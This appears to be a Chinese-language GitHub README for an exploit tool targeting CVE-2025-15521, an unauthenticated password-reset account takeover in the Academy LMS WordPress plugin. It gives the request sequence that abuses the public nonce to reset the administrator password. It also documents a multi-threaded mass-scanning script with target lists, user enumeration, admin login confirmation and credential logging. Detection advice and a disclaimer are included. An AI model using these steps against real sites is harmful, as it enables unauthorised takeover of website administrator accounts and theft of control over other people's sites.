Nxploited/CVE-2025-15521

GitHub: Nxploited/CVE-2025-15521

该工具利用 Academy LMS 插件漏洞,通过未授权账户接管实现权限提升并提供自动化验证。

Stars: 0 | Forks: 0

# CVE-2025-15521 Academy LMS – WordPress LMS Plugin for Complete eLearning Solution 插件(适用于 WordPress)存在漏洞,在所有 3.5.0 及更早版本中可通过账户接管实现权限提升。
``` _____ _____ _____ ___ ___ ___ ___ ___ ___ ___ ___ ___ | | | | __|___|_ | |_ | _|___|_ | | _| _|_ |_ | | --| | | __|___| _| | | _|_ |___|_| |_|_ |_ | _|_| |_ |_____|\___/|_____| |___|___|___|___| |_____|___|___|___|_____| ``` [![Telegram](https://img.shields.io/badge/Telegram-KNxploited-2CA5E0?style=for-the-badge&logo=telegram&logoColor=white)](https://t.me/KNxploited) [![CVE](https://img.shields.io/badge/CVE-2025--15521-CC0000?style=for-the-badge)](https://www.cve.org/CVERecord?id=CVE-2025-15521) [![CVSS](https://img.shields.io/badge/CVSS-9.8_CRITICAL-red?style=for-the-badge)](https://nvd.nist.gov/vuln/detail/CVE-2025-15521) [![Python](https://img.shields.io/badge/Python-3.8%2B-blue?style=for-the-badge&logo=python)](https://python.org)
## 是什么 **CVE-2025-15521** — 在 **Academy LMS ≤ 3.5.0** 中,通过密码重置实现未经身份验证的账户接管。 该插件的重置处理器仅使用一个公开暴露的随机数(`academy_nonce`)来验证请求,该随机数嵌入在课程页面中。没有发送给用户的电子邮件令牌,没有会话检查,也没有身份验证。任何能够读取课程页面的攻击者都可以获取有效的随机数,然后重置任意账户的密码,包括 `user_id=1`(站点管理员)。 **CVSS 3.1:9.8 严重** — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` **CNA:** Wordfence ## 漏洞如何工作 ``` GET /course/any-course/ → HTML contains: "academy_nonce": "a1b2c3d4e5" ← public, no auth POST /academy-retrieve-password/?user_id=1 new_password= confirm_new_password= security=a1b2c3d4e5 ← nonce accepted → Password for user_id=1 changed. No email. No confirmation. ``` 处理器在仅验证 `wp_verify_nonce()` 后调用 `wp_set_password()`,而该随机数对所有访问者公开可见。没有检查请求用户是否拥有被修改的账户。 ## 该脚本的作用 1. 爬取课程页面以提取实时的 `academy_nonce` 2. 对目标 `user_id` 发起重置请求,使用选定的密码 3. 通过 `/?author=N` 重定向和 REST API(`/wp-json/wp/v2/users`)枚举用户名 4. 尝试对每个候选账户进行严格登录验证: - 拒绝已知的失败消息 - 要求 `wordpress_logged_in` Cookie - 要求在 `/wp-admin` 中存在真实的管理界面标记,而不仅仅是 200 响应 5. 将确认可访问的条目写入输出文件 —— 终端中不打印任何敏感信息 ## 要求 ``` pip install requests colorama urllib3 ``` 需要 Python 3.8+,推荐使用 Python 3.10+。 ## 用法 ``` python CVE-2025-15521.py ``` 系统会提示你输入: ``` Targets list file (one URL per line): list.txt Threads (concurrent sites) [5]: 10 Reset handler path [/academy-retrieve-password/]: Course root path (key source) [/course/]: Max /course/ subpages to scan per site [15]: user_id to reset (handler target) [1]: New password to set [adminSA]: HTTP timeout (seconds) [10]: Output file [scan_results/academy_access_success.txt]: ``` 目标文件 —— 每行一个 URL,协议可选: ``` https://target1.com target2.com https://target3.com/lms ``` ## 输出 **终端** —— 每个目标一行,不打印凭据: ``` [14:02:11] [https://target.com] KEY: OK | RESET: OK | ACCESS: 1 HIT [14:02:13] [https://target2.com] KEY: FAIL | RESET: - | ACCESS: 0 HIT ``` **文件** —— 仅包含确认可访问的条目: ``` [2025-04-18T14:02:11] https://target.com - account=admin pass=adminSA ``` ## 检测与修复 **对于防御者:** 阻止或监控对重置端点的未认证 POST 请求: ``` POST *academy-retrieve-password* with parameter: security= ``` 检查主题课程页面源代码中 `rm_admin_order` / `academy_nonce` 是否暴露。如果未登录即可看到该随机数 —— 你的版本已受影响。 **立即修复步骤:** - 将 Academy LMS 更新至 3.5.0 以上版本 - 如无补丁可用,暂时禁用该插件 - 审计最近更改的管理员密码 - 对所有管理员账户强制重置密码 - 为所有密码重置流程实现基于电子邮件的令牌验证 ## ⚠️ 免责声明 本工具仅供授权的安全研究与渗透测试使用。 仅应对你拥有或获得明确书面许可的系统运行该工具。 作者不对未经授权或非法使用承担任何责任。 未经授权的使用违反 CFAA、CMA、欧盟指令 2013/40/EU、沙特反网络犯罪法第 M/17 条以及全球等效法律。 **作者:Nxploited(Khaled Alenazi)** [t.me/KNxploited](https://t.me/KNxploited) · [github.com/Nxploited](https://github.com/Nxploited)
标签:CVE-2025-15521, CVSS 9.8, LMS, Nonce绕过, Wordfence, WordPress安全, WordPress插件, 公开nonce, 协议分析, 在线教育, 威胁模拟, 学习管理系统, 安全漏洞, 密码重置, 插件漏洞, 操作系统监控, 未授权访问, 权限提升, 特权提升, 网站安全, 自动化部署, 课程页面, 账户接管, 越权操作, 身份验证绕过, 逆向工具